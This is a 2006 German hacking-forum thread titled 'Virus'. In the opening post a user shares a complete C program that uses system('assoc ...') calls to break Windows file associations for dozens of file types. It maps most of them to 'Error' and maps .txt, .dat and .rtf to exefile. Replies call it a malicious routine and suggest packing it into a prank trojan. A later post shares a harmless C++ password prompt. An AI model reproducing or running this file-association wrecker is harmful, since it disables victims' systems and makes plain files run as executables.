Virus

04/20/2006 02:09 BastardZeroFromHell#1
Sind da irgendwelche Fehler :P
Code:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
system("assoc .exe=Error");
system("assoc .png=Error");
system("assoc .gif=Error");
system("assoc .jpg=Error");
system("assoc .jpeg=Error");
system("assoc .bmp=Error");
system("assoc .txt=exefile");
system("assoc .ini=Error");
system("assoc .ttf=Error");
system("assoc .log=Error");
system("assoc .xml=Error");
system("assoc .html=Error");
system("assoc .htm=Error");
system("assoc .php=Error");
system("assoc .php3=Error");
system("assoc .php4=Error");
system("assoc .bat=Error");
system("assoc .pif=Error");
system("assoc .cmd=Error");
system("assoc .chm=Error");
system("assoc .lnk=Error");
system("assoc .frm=Error");
system("assoc .map=Error");
system("assoc .ut=Error");
system("assoc .ut2=Error");
system("assoc .wav=Error");
system("assoc .wave=Error");
system("assoc .mp3=Error");
system("assoc .ogg=Error");
system("assoc .c=Error");
system("assoc .o=Error");
system("assoc .cpp=Error");
system("assoc .dll=Error");
system("assoc .dat=exefile");
system("assoc .tmp=Error");
system("assoc .zip=Error");
system("assoc .rar=Error");
system("assoc .wmv=Error");
system("assoc .wma=Error");
system("assoc .wmi=Error");
system("assoc .cab=Error");
system("assoc .tar=Error");
system("assoc .gz=Error");
system("assoc .bz2=Error");
system("assoc .rtf=exefile");
system("assoc .doc=Error");
system("assoc .bak=Error");
system("assoc .avi=Error");
system("assoc .divx=Error");
system("assoc .mpg=Error");
system("assoc .mpeg=Error");
system("assoc .3gp=Error");
system("assoc .iso=Error");
system("assoc .ccd=Error");
system("assoc .img=Error");
system("assoc .set=Error");
system("assoc .b=Error");
system("assoc .wpl=Error");
system("assoc .itl=Error");
system("assoc .vbs=Error");
system("assoc .win=Error");


 return 0;
}
04/20/2006 03:22 Maybe It's Maybelline#2
Nicht gerade Fatal, aber lustig für zwischendurch :D
04/20/2006 03:35 BastardZeroFromHell#3
Ja^^
Mir war langweilig :)
04/20/2006 12:08 Term!nX#4
Yei den versteh ich sogar (glaub ich), ohne das ich eine einzige Sprache kann *stolz*
Also so gut wie alle Dateien werden mit einem Error behaftet?
04/20/2006 14:04 Maybe It's Maybelline#5
Quote:
Originally posted by Term!nX@Apr 20 2006, 12:08
Yei den versteh ich sogar (glaub ich), ohne das ich eine einzige Sprache kann *stolz*
Also so gut wie alle Dateien werden mit einem Error behaftet?
So ähnlich, der Suffix wird einfach assoziiert, die Dateien werden nicht überschrieben oder ähnliches.
04/20/2006 15:39 mr.rattlz#6
schöne Schadroutine, aber es mangelt dem code an viralem verhalten :P
04/21/2006 22:34 obsceneArts#7
Das könntest in so ne Art Funtrojaner einbauen. :p
04/22/2006 00:16 BastardZeroFromHell#8
Ja davon habe ich nicht soviel Ahnung :)
Habe einfach mal rummprobiert und siehe da,er funzt^^
04/22/2006 00:47 BastardZeroFromHell#9
Meine neuste Kreation in C++
Passwort ist E*PVP
04/22/2006 10:47 spelaben#10
lol, das wird sich sicher niemand so schnell ziehen :)
04/23/2006 15:40 Maybe It's Maybelline#11
Immer wieder interessant wieviel man rausfinden kann über eine exe nur allein im plaintext. :D
04/23/2006 21:11 BastardZeroFromHell#12
Das ist eine Passwort-Abfrage^^
Kein Virus
04/23/2006 21:19 Maybe It's Maybelline#13
Quote:
Originally posted by BastardZeroFromHell@Apr 23 2006, 21:11
Das ist eine Passwort-Abfrage^^
Kein Virus
Achja? :D
Entweder bist du ein sehr schlechter coder oder da sind Sachen drinn, die normalerweise nicht rein sollen =P

Ich meine ok, da ist wirklich eine Passwort Abfrage drinn, allerdings verstehe ich den umliegenden -massigen code- nicht XD
04/23/2006 22:28 BastardZeroFromHell#14
Phhhh....
Ich befasse mich mehr mim Virus-coding :P
Das ist viel :P?
Code:
#include <iostream>
#include <string.h>

using namespace std;

int main()
{
    int i,length=9;
    char pw[9]="E*PVP", passwort[9];


        for(i=3;i>0;i--)
        {
            cout<<"\n\tSie haben noch "<<i<<" Versuche!";
            cout<<"\n\tBitte geb dein 'Passwort' ein: ";
            cin.getline(passwort,length);

            if(strcmp(passwort, pw) == 0)
            {
                cout<<"\n\tAccess Granted!"<<endl;
                cout<<"\tSie wurden erfolgreich eingeloggt!"<<endl<<endl;
                cin.ignore();
            }
            else
            {
                cout<<"\n\tAccess Denied!"<<endl<<endl;
            }
        }
    if(i==0)
    {
        cout<<"\n\tIhre Karte wird nun eingezogen!";
        cout<<"\n\tBitte wenden sie sich an den Administrator!"<<endl<<endl;
    }
}